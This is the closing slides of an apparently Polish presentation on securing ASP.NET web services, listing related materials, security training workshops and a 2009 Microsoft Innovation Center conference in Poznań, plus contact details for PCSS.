„Zabezpieczanie aplikacji webowych w środowisku ASP.NET”
np. cykl „Filtrowanie danych w aplikacjach internetowych”
http://www.startup-it.pl
87
Zapraszamy (2):
• Centrum Innowacji Microsoft
-
Program szkoleń bezpieczeństwa MIC
•
•
-
m.in. warsztaty Omijanie firewalli w systemach Windows
http://mic.psnc.pl/pl/tasks/lect.html
III Konferencja MIC - Dzień otwarty
•
•
•
16.04.2009, Poznań
Interoperacyjność, wirtualizacja, bezpieczeństwo
Wkrótce więcej informacji i rejestracja na stronach MIC
88
Informacje kontaktowe
• Autor prezentacji
-
[email protected]
• Centrum Innowacji Microsoft
-
http://mic.psnc.pl
[email protected]
• PCSS
-
http://www.pcss.pl
• Zespół Bezpieczeństwa PCSS
-
http://security.psnc.pl
[email protected]
89
Pytania i dyskusja
Dziękuję za uwagę!
90

Bezpieczeństwo usług w ASP.NET

Transkrypt

Podobne dokumenty